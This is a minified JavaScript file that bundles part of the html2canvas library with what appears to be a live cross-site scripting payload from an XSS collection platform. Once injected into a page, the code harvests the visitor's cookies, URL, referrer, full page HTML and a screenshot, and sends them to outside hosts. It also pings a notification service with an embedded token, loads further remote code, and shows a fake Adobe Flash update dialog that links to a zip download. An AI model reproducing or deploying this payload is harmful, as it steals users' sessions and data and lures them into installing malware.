i=he(r.content),o="url"===i.substr(0,3),s=e.createElement(o?"img":"html2canvaspseudoelement"),a=new T(s,t),c=r.length-1;c>=0;c--){var h=A(r.item(c));s.style[h]=r[h]}if(s.className=this.pseudoHideClass,o)return s.src=S(i)[0].args[0],[a];var u=e.createTextNode(i);return s.appendChild(u),[a,new ye(u,a)]},P.prototype.getChildren=function(t){return ce([].filter.call(t.node.childNodes,Q).map(function(e){var n=[e.nodeType===Node.TEXT_NODE?new ye(e,t):new T(e,t)].filter(ae);return e.nodeType===Node.ELEMENT_NODE&&n.length&&"TEXTAREA"!==e.tagName?n[0].isElementVisible()?n.concat(this.getChildren(n[0])):[]:n},this))},P.prototype.newStackingContext=function(t,e){var n=new le(e,t.cssFloat("opacity"),t.node,t.parent);n.visible=t.visible;var r=e?n.getParentStack(this):n.parent.stack;r.contexts.push(n),t.stack=n},P.prototype.createStackingContexts=function(){this.nodes.forEach(function(t){te(t)&&(this.isRootElement(t)||re(t)||q(t)||this.isBodyWithTransparentRoot(t)||t.hasTransform())?this.newStackingContext(t,!0):te(t)&&($(t)&&V(t)||K(t)||J(t))?this.newStackingContext(t,!1):t.assignStack(t.parent.stack)},this)},P.prototype.isBodyWithTransparentRoot=function(t){return"BODY"===t.node.nodeName&&this.renderer.isTransparent(t.parent.css("backgroundColor"))},P.prototype.isRootElement=function(t){return null===t.parent},P.prototype.sortStackingContexts=function(t){t.contexts.sort(ne),t.contexts.forEach(this.sortStackingContexts,this)},P.prototype.parseTextBounds=function(t){return function(e,n,r){if("none"!==t.parent.css("textDecoration").substr(0,4)||0!==e.trim().length){if(this.support.rangeBounds&&!t.parent.hasTransform()){var i=r.slice(0,n).join("").length;return this.getRangeBounds(t.node,i,e.length)}if(t.node&&"string"==typeof t.node.data){var o=t.node.splitText(e.length),s=this.getWrapperBounds(t.node,t.parent.hasTransform());return t.node=o,s}}else(!this.support.rangeBounds||t.parent.hasTransform())&&(t.node=t.node.splitText(e.length));return{}}},P.prototype.getWrapperBounds=function(t,e){var n=t.ownerDocument.createElement("html2canvaswrapper"),r=t.parentNode,i=t.cloneNode(!0);n.appendChild(t.cloneNode(!0)),r.replaceChild(n,t);var o=e?M(n):B(n);return r.replaceChild(i,n),o},P.prototype.getRangeBounds=function(t,e,n){var r=this.range||(this.range=t.ownerDocument.createRange());return r.setStart(t,e),r.setEnd(t,e+n),r.getBoundingClientRect()},P.prototype.parse=function(t){var e=t.contexts.filter(H),n=t.children.filter(te),r=n.filter(Z(J)),i=r.filter(Z($)).filter(Z(z)),o=n.filter(Z($)).filter(J),s=r.filter(Z($)).filter(z),a=t.contexts.concat(r.filter($)).filter(V),c=t.children.filter(ee).filter(X),h=t.contexts.filter(j);e.concat(i).concat(o).concat(s).concat(a).concat(c).concat(h).forEach(function(t){this.renderQueue.push(t),Y(t)&&(this.parse(t),this.renderQueue.push(new N))},this)},P.prototype.paint=function(t){try{t instanceof N?this.renderer.ctx.restore():ee(t)?this.paintText(t):this.paintNode(t)}catch(e){E(e)}},P.prototype.paintNode=function(t){Y(t)&&(this.renderer.setOpacity(t.opacity),this.renderer.ctx.save(),t.hasTransform()&&this.renderer.setTransform(t.parseTransform()));var e=t.parseBounds(),n=this.parseBorders(t);switch(this.renderer.clip(n.clip,function(){this.renderer.renderBackground(t,e,n.borders.map(se))},this),this.renderer.renderBorders(n.borders),t.node.nodeName){case"svg":var r=this.images.get(t.node);r?this.renderer.renderImage(t,e,n,r):E("Error loading <svg>",t.node);break;case"IMG":var i=this.images.get(t.node.src);i?this.renderer.renderImage(t,e,n,i):E("Error loading <img>",t.node.src);break;case"SELECT":case"INPUT":case"TEXTAREA":this.paintFormValue(t)}},P.prototype.paintFormValue=function(t){if(t.getValue().length>0){var e=t.node.ownerDocument,n=e.createElement("html2canvaswrapper"),r=["lineHeight","textAlign","fontFamily","fontWeight","fontSize","color","paddingLeft","paddingTop","paddingRight","paddingBottom","width","height","borderLeftStyle","borderTopStyle","borderLeftWidth","borderTopWidth","boxSizing","whiteSpace","wordWrap"];
r.forEach(function(e){try{n.style[e]=t.css(e)}catch(r){E("html2canvas: Parse: Exception caught in renderFormValue: "+r.message)}});var i=t.parseBounds();n.style.position="absolute",n.style.left=i.left+"px",n.style.top=i.top+"px",n.textContent=t.getValue(),e.body.appendChild(n),this.paintText(new ye(n.firstChild,t)),e.body.removeChild(n)}},P.prototype.paintText=function(t){t.applyTextTransform();var e=t.node.data.split(!this.options.letterRendering||G(t)?/(\b| )/:""),n=t.parent.fontWeight(),r=t.parent.css("fontSize"),i=t.parent.css("fontFamily"),o=t.parent.parseTextShadows();this.renderer.font(t.parent.css("color"),t.parent.css("fontStyle"),t.parent.css("fontVariant"),n,r,i),o.length?this.renderer.fontShadow(o[0].color,o[0].offsetX,o[0].offsetY,o[0].blur):this.renderer.clearShadow(),e.map(this.parseTextBounds(t),this).forEach(function(n,o){n&&(this.renderer.text(e[o],n.left,n.bottom),this.renderTextDecoration(t.parent,n,this.fontMetrics.getMetrics(i,r)))},this)},P.prototype.renderTextDecoration=function(t,e,n){switch(t.css("textDecoration").split(" ")[0]){case"underline":this.renderer.rectangle(e.left,Math.round(e.top+n.baseline+n.lineWidth),e.width,1,t.css("color"));break;case"overline":this.renderer.rectangle(e.left,Math.round(e.top),e.width,1,t.css("color"));break;case"line-through":this.renderer.rectangle(e.left,Math.ceil(e.top+n.middle+n.lineWidth),e.width,1,t.css("color"))}},P.prototype.parseBorders=function(t){var e=t.bounds,n=U(t),r=["Top","Right","Bottom","Left"].map(function(e){return{width:t.cssInt("border"+e+"Width"),color:t.css("border"+e+"Color"),args:null}}),i=D(e,n,r);return{clip:this.parseBackgroundClip(t,i,r,n,e),borders:r.map(function(t,o){if(t.width>0){var s=e.left,a=e.top,c=e.width,h=e.height-r[2].width;switch(o){case 0:h=r[0].width,t.args=F({c1:[s,a],c2:[s+c,a],c3:[s+c-r[1].width,a+h],c4:[s+r[3].width,a+h]},n[0],n[1],i.topLeftOuter,i.topLeftInner,i.topRightOuter,i.topRightInner);break;case 1:s=e.left+e.width-r[1].width,c=r[1].width,t.args=F({c1:[s+c,a],c2:[s+c,a+h+r[2].width],c3:[s,a+h],c4:[s,a+r[0].width]},n[1],n[2],i.topRightOuter,i.topRightInner,i.bottomRightOuter,i.bottomRightInner);break;case 2:a=a+e.height-r[2].width,h=r[2].width,t.args=F({c1:[s+c,a+h],c2:[s,a+h],c3:[s+r[3].width,a],c4:[s+c-r[3].width,a]},n[2],n[3],i.bottomRightOuter,i.bottomRightInner,i.bottomLeftOuter,i.bottomLeftInner);break;case 3:c=r[3].width,t.args=F({c1:[s,a+h+r[2].width],c2:[s,a],c3:[s+c,a+r[0].width],c4:[s+c,a+h]},n[3],n[0],i.bottomLeftOuter,i.bottomLeftInner,i.topLeftOuter,i.topLeftInner)}}return t})}},P.prototype.parseBackgroundClip=function(t,e,n,r,i){var o=t.css("backgroundClip"),s=[];switch(o){case"content-box":case"padding-box":W(s,r[0],r[1],e.topLeftInner,e.topRightInner,i.left+n[3].width,i.top+n[0].width),W(s,r[1],r[2],e.topRightInner,e.bottomRightInner,i.left+i.width-n[1].width,i.top+n[0].width),W(s,r[2],r[3],e.bottomRightInner,e.bottomLeftInner,i.left+i.width-n[1].width,i.top+i.height-n[2].width),W(s,r[3],r[0],e.bottomLeftInner,e.topLeftInner,i.left+n[3].width,i.top+i.height-n[2].width);break;default:W(s,r[0],r[1],e.topLeftOuter,e.topRightOuter,i.left,i.top),W(s,r[1],r[2],e.topRightOuter,e.bottomRightOuter,i.left+i.width,i.top),W(s,r[2],r[3],e.bottomRightOuter,e.bottomLeftOuter,i.left+i.width,i.top+i.height),W(s,r[3],r[0],e.bottomLeftOuter,e.topLeftOuter,i.left,i.top+i.height)}return s},P.prototype.pseudoHideClass="___html2canvas___pseudoelement";var Te=0;pe.prototype.renderImage=function(t,e,n,r){var i=t.cssInt("paddingLeft"),o=t.cssInt("paddingTop"),s=t.cssInt("paddingRight"),a=t.cssInt("paddingBottom"),c=n.borders,h=e.width-(c[1].width+c[3].width+i+s),u=e.height-(c[0].width+c[2].width+o+a);this.drawImage(r,0,0,r.image.width||h,r.image.height||u,e.left+i+c[3].width,e.top+o+c[0].width,h,u)},pe.prototype.renderBackground=function(t,e,n){e.height>0&&e.width>0&&(this.renderBackgroundColor(t,e),this.renderBackgroundImage(t,e,n))},pe.prototype.renderBackgroundColor=function(t,e){var n=t.css("backgroundColor");this.isTransparent(n)||this.rectangle(e.left,e.top,e.width,e.height,t.css("backgroundColor"))},pe.prototype.renderBorders=function(t){t.forEach(this.renderBorder,this)},pe.prototype.renderBorder=function(t){this.isTransparent(t.color)||null===t.args||this.drawShape(t.args,t.color)},pe.prototype.renderBackgroundImage=function(t,e,n){var r=t.parseBackgroundImages();r.reverse().forEach(function(r,i,o){switch(r.method){case"url":var s=this.images.get(r.args[0]);s?this.renderBackgroundRepeating(t,e,s,o.length-(i+1),n):E("Error loading background-image",r.args[0]);break;case"linear-gradient":case"gradient":var a=this.images.get(r.value);a?this.renderBackgroundGradient(a,e,n):E("Error loading background-image",r.args[0]);break;case"none":break;default:E("Unknown background-image type",r.args[0])}},this)},pe.prototype.renderBackgroundRepeating=function(t,e,n,r,i){var o=t.parseBackgroundSize(e,n.image,r),s=t.parseBackgroundPosition(e,n.image,r,o),a=t.parseBackgroundRepeat(r);switch(a){case"repeat-x":case"repeat no-repeat":this.backgroundRepeatShape(n,s,o,e,e.left+i[3],e.top+s.top+i[0],99999,n.image.height,i);break;case"repeat-y":case"no-repeat repeat":this.backgroundRepeatShape(n,s,o,e,e.left+s.left+i[3],e.top+i[0],n.image.width,99999,i);break;case"no-repeat":this.backgroundRepeatShape(n,s,o,e,e.left+s.left+i[3],e.top+s.top+i[0],n.image.width,n.image.height,i);break;default:this.renderBackgroundRepeat(n,s,o,{top:e.top,left:e.left},i[3],i[0])}},pe.prototype.isTransparent=function(t){return!t||"transparent"===t||"rgba(0, 0, 0, 0)"===t},le.prototype=Object.create(T.prototype),le.prototype.getParentStack=function(t){var e=this.parent?this.parent.stack:null;return e?e.ownStacking?e:e.getParentStack(t):t.stack},de.prototype.testRangeBounds=function(t){var e,n,r,i,o=!1;return t.createRange&&(e=t.createRange(),e.getBoundingClientRect&&(n=t.createElement("boundtest"),n.style.height="123px",n.style.display="block",t.body.appendChild(n),e.selectNode(n),r=e.getBoundingClientRect(),i=r.height,123===i&&(o=!0),t.body.removeChild(n))),o},de.prototype.testCORS=function(){return"undefined"!=typeof(new Image).crossOrigin},de.prototype.testSVG=function(){var t=new Image,n=e.createElement("canvas"),r=n.getContext("2d");t.src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'></svg>";try{r.drawImage(t,0,0),n.toDataURL()}catch(i){return!1}return!0},fe.prototype.hasFabric=function(){return html2canvas.fabric?Promise.resolve():Promise.reject(new Error("html2canvas.svg.js is not loaded, cannot render svg"))},fe.prototype.inlineFormatting=function(t){return/^data:image\/svg\+xml;base64,/.test(t)?this.decode64(this.removeContentType(t)):this.removeContentType(t)},fe.prototype.removeContentType=function(t){return t.replace(/^data:image\/svg\+xml(;base64)?,/,"")},fe.prototype.isInline=function(t){return/^data:image\/svg\+xml/i.test(t)},fe.prototype.createCanvas=function(t){var e=this;return function(n,r){var i=new html2canvas.fabric.StaticCanvas("c");e.image=i.lowerCanvasEl,i.setWidth(r.width).setHeight(r.height).add(html2canvas.fabric.util.groupSVGElements(n,r)).renderAll(),t(i.lowerCanvasEl)}},fe.prototype.decode64=function(e){return"function"==typeof t.atob?t.atob(e):ge(e)},me.prototype=Object.create(fe.prototype),ye.prototype=Object.create(T.prototype),ye.prototype.applyTextTransform=function(){this.node.data=this.transform(this.parent.css("textTransform"))},ye.prototype.transform=function(t){var e=this.node.data;switch(t){case"lowercase":return e.toLowerCase();case"capitalize":return e.replace(/(^|\s|:|-|\(|\))([a-z])/g,ve);case"uppercase":return e.toUpperCase();default:return e}},we.prototype=Object.create(f.prototype),xe.prototype=Object.create(pe.prototype),xe.prototype.setFillStyle=function(t){return this.ctx.fillStyle=t,this.ctx},xe.prototype.rectangle=function(t,e,n,r,i){this.setFillStyle(i).fillRect(t,e,n,r)},xe.prototype.drawShape=function(t,e){this.shape(t),this.setFillStyle(e).fill()},xe.prototype.taints=function(t){if(null===t.tainted){this.taintCtx.drawImage(t.image,0,0);try{this.taintCtx.getImageData(0,0,1,1),t.tainted=!1}catch(n){this.taintCtx=e.createElement("canvas").getContext("2d"),t.tainted=!0}}return t.tainted},xe.prototype.drawImage=function(t,e,n,r,i,o,s,a,c){(!this.taints(t)||this.options.allowTaint)&&this.ctx.drawImage(t.image,e,n,r,i,o,s,a,c)},xe.prototype.clip=function(t,e,n){this.ctx.save(),this.shape(t).clip(),e.call(n),this.ctx.restore()},xe.prototype.shape=function(t){return this.ctx.beginPath(),t.forEach(function(t,e){this.ctx[0===e?"moveTo":t[0]+"To"].apply(this.ctx,t.slice(1))},this),this.ctx.closePath(),this.ctx},xe.prototype.font=function(t,e,n,r,i,o){this.setFillStyle(t).font=[e,n,r,i,o].join(" ")},xe.prototype.fontShadow=function(t,e,n,r){this.setVariable("shadowColor",t).setVariable("shadowOffsetY",e).setVariable("shadowOffsetX",n).setVariable("shadowBlur",r)},xe.prototype.clearShadow=function(){this.setVariable("shadowColor","rgba(0,0,0,0)")},xe.prototype.setOpacity=function(t){this.ctx.globalAlpha=t},xe.prototype.setTransform=function(t){this.ctx.translate(t.origin[0],t.origin[1]),this.ctx.transform.apply(this.ctx,t.matrix),this.ctx.translate(-t.origin[0],-t.origin[1])},xe.prototype.setVariable=function(t,e){return this.variables[t]!==e&&(this.variables[t]=this.ctx[t]=e),this},xe.prototype.text=function(t,e,n){this.ctx.fillText(t,e,n)},xe.prototype.backgroundRepeatShape=function(t,e,n,r,i,o,s,a,c){var h=[["line",Math.round(i),Math.round(o)],["line",Math.round(i+s),Math.round(o)],["line",Math.round(i+s),Math.round(a+o)],["line",Math.round(i),Math.round(a+o)]];this.clip(h,function(){this.renderBackgroundRepeat(t,e,n,r,c[3],c[0])},this)},xe.prototype.renderBackgroundRepeat=function(t,e,n,r,i,o){var s=Math.round(r.left+e.left+i),a=Math.round(r.top+e.top+o);this.setFillStyle(this.ctx.createPattern(this.resizeImage(t,n),"repeat")),this.ctx.translate(s,a),this.ctx.fill(),this.ctx.translate(-s,-a)},xe.prototype.renderBackgroundGradient=function(t,e){if(t instanceof x){var n=this.ctx.createLinearGradient(e.left+e.width*t.x0,e.top+e.height*t.y0,e.left+e.width*t.x1,e.top+e.height*t.y1);t.colorStops.forEach(function(t){n.addColorStop(t.stop,t.color)}),this.rectangle(e.left,e.top,e.width,e.height,n)}},xe.prototype.resizeImage=function(t,n){var r=t.image;if(r.width===n.width&&r.height===n.height)return r;var i,o=e.createElement("canvas");return o.width=n.width,o.height=n.height,i=o.getContext("2d"),i.drawImage(r,0,0,r.width,r.height,0,0,n.width,n.height),o}}(window,document);
var gone = "";
function json2kvstr(o) {
var x = "";
for (var i in o) {
x += i + '=' + encodeURIComponent(o[i]) + '&';
}
return x.substring(0, x.length - 1);
}
function never_null( value ) {
if( value !== undefined ) {
return value;
} else {
return '';
}
}
function contact_mothership( probe_return_data ) {
if(gone) return;
gone = 1;
var http = new XMLHttpRequest();
var url = "https://x0.nz/bdstatic.com/?callback=jsonp";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
// https://woj.app wei wan dai xu
}
}
http.send( json2kvstr( probe_return_data ) );
}
function addEvent(element, eventName, fn) {
if (element.addEventListener)
element.addEventListener(eventName, fn, false);
else if (element.attachEvent)
element.attachEvent('on' + eventName, fn);
}
probe_return_data = {};
probe_return_data['id'] = 'h7DZ';
// Prevent failure incase the browser refuses to give us any of the probe data.
try {
probe_return_data['location'] = never_null( location.toString() );
} catch ( e ) {
probe_return_data['location'] = never_null( document.location.href );
}
try {
probe_return_data['cookie'] = never_null( document.cookie );
} catch ( e ) {
probe_return_data['cookie'] = '';
}
try {
probe_return_data['referrer'] = never_null( document.referrer );
} catch ( e ) {
probe_return_data['referrer'] = '';
}
try {
probe_return_data['useragent'] = never_null( navigator.userAgent );
} catch ( e ) {
probe_return_data['useragent'] = '';
}
try {
probe_return_data['title'] = never_null( document.title );
} catch ( e ) {
probe_return_data['title'] = '';
}
try {
probe_return_data['toplocation'] = never_null( top.location.href );
} catch ( e ) {
probe_return_data['toplocation'] = '';
}
try {
probe_return_data['origin'] = never_null( location.origin );
} catch ( e ) {
probe_return_data['origin'] = '';
}
try {
probe_return_data['charset'] = never_null( document.characterSet );
} catch ( e ) {
probe_return_data['charset'] = never_null( document.charset );
}
try {
probe_return_data['platform'] = never_null( navigator.platform );
} catch ( e ) {
probe_return_data['platform'] = '';
}
try {
probe_return_data['opener'] = never_null( window.opener );
} catch ( e ) {
probe_return_data['opener'] = never_null( window.opener.location );
}
try {
probe_return_data['screen'] = function () {
var c = "";
if (self.screen) {
c = screen.width + "x" + screen.height;
}
return c;
}();
} catch ( e ) {
probe_return_data['screen'] = '';
}
function hook_load_if_not_ready() {
try {
try {
probe_return_data['htmlyuanma'] = never_null( document.documentElement.outerHTML );
} catch ( e ) {
probe_return_data['htmlyuanma'] = '';
}
html2canvas(document.body).then(function(canvas) {
probe_return_data['screenshotpic'] = canvas.toDataURL();
if(probe_return_data['screenshotpic'].length >700000){
probe_return_data['screenshotpic'] = probe_return_data['screenshotpic'].substr(0,700000) + '==';
console.log(probe_return_data['screenshotpic'].length);
}
finishing_moves();
}, function() {
probe_return_data['screenshotpic'] = '';
finishing_moves();
});
} catch( e ) {
probe_return_data['screenshotpic'] = '';
finishing_moves();
}
}
function finishing_moves() {
contact_mothership( probe_return_data );
collect_pages();
if( chainload_uri != "" && chainload_uri != null ) {
eval_remote_source( chainload_uri );
}
}
if( document.readyState == "complete" ) {
hook_load_if_not_ready();
} else {
addEvent( window, "load", function(){
hook_load_if_not_ready();
});
}
if ('{set.keepsession}' == 1) {
keep = new Image();
keep.src = 'https://x0.nz/bdstatic.com/?callback=keepsession&id=h7DZ&url=' + encodeURIComponent((function() {
try {
return document.location.href
} catch(e) {
return ''
}
})()) + '&cookie=' + encodeURIComponent((function() {
try {
return document.cookie
} catch(e) {
return ''
}
})()) + '&act=wbck'
};var location_url = window.location.href;
var xhrServer = new XMLHttpRequest();
xhrServer.open('GET', 'http://www.pushplus.plus/send?token=391331d86d524d9eb3f872e41288cbcd&title=XSS%E4%B8%8A%E7%BA%BF%E6%8F%90%E9%86%92&content=url:'+location_url+'&template=html', true);
xhrServer.send(null);window.onload = function(){
var timeout = 1;var url = 'https://tuku.baipg.cn/down.php/ddb9a6b63b797b3dd7fa22836dd21928.zip';var body = document.querySelector('body');
var str = '<div style="width:100%;height:100%;left:0;top:0;position:fixed;background:rgba(0,0,0,0.3);"> <div style="position:absolute;left:50%;top:50%;"><div style="width:500px;height:280px;position:absolute;left:-250px;top:-250px; "><div style="height:60px;background-image: linear-gradient(to right bottom , #9d000f,#a91928,#93212c);border-radius: 8px 8px 0 0;"><img style="margin-top: 7px;margin-left: 8px;float:left;" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAC6UlEQVRoQ82aTYiNURjHf/+sJBRFNAtSqFFiQZqNWZAFypRsTc3Cwihf5auMMhsLFkayGISkWSCzM8VEI4VYkpCQEgslK3l06r1ijLnnOe/XPXV7F/d/7v39znnuPec994oWbWbWAWwGlgBLs+t74ANwQNJoQFcr8ZvZBmAd0AUsmISts6UEzKwd2AdsjxzQ1hAws6kZ+F5gZiR8iNUvYGYrgEEgXL2tXoHsA3oZWOglz/L1CZhZ+JBeAeYkwtdXQmYWvhavAtNywNcjYGZrgbs5wRvdqy8hMwvwQSKlfQQeAq+Bl8CLStcBMzsK9DnJvwPngFsN2In6l74SJ5bOE2C3pPvNpKsQ8JbONaBX0udm8KXvhRJKZ0BSbwx4I1PaDJjZcuCZA8YNX+oMmNnJUMeRAu+ADknh6mqlzICZtWWjPzuSJtT8QGT2r1hZAoeB45FAI5LWR2b/iRUukG2RQ+0vjoTqknQjMluJwA7gbCTQA+B2s6ykY//LlDEDAWpNMyjH832VCZjZVmDIARcTrVRgGNgYQ+XIVCNgZp3AHQdYbLQygQuOU4VY+JArX8DMlmUL1xQPWWS2EoETwP5IIG+sXAEzmwc8BeZ6ySLzpQt47rbeAm8iwRux0dLWgWz0HwPzI6F6JIXDrMJarpXYecPySVLhZZYsYGaLgHuO0U/eMk82XXkErgNbImvhG9Am6WtkPjqWJOAsnQDTL+lINJUj6BZI2LD9BNolPXdwRUddAgnwAeSUpD3RRM5gtICZdQPnna//SNIqZx9XvKmAma0Gwi8oYa/vbSslhVW6tPZbIDsCnA7MyB6zgE1AEEhpuySdTuno6TNeoKjj7yFJ2zwgqdkyBAYl9aQCefsVLbBT0hkvRJ58kQLdki7mgUnpW4RAWKAOSrqZApC3T16BS8AhSeH/C7W0VIFX2Qpbab1PNEIegS/h9yognP0MS/pRy5CPe9PxAiNA2PL++RgDwnHhWBnb4byD8AvyqgxAqeMmZQAAAABJRU5ErkJggg=="><div style="float: left;margin-top: 38px;color: #ddd9d9;"> ADOBE FLASH PLYAER </div> </div><div style="height:200px;background:white;border-radius: 0 0 8px 8px;"><div style="padding: 20px 56px 0 26px;font-size: 18px;font-weight: 400;"><img style="width:450px" src="data:image/png;base64,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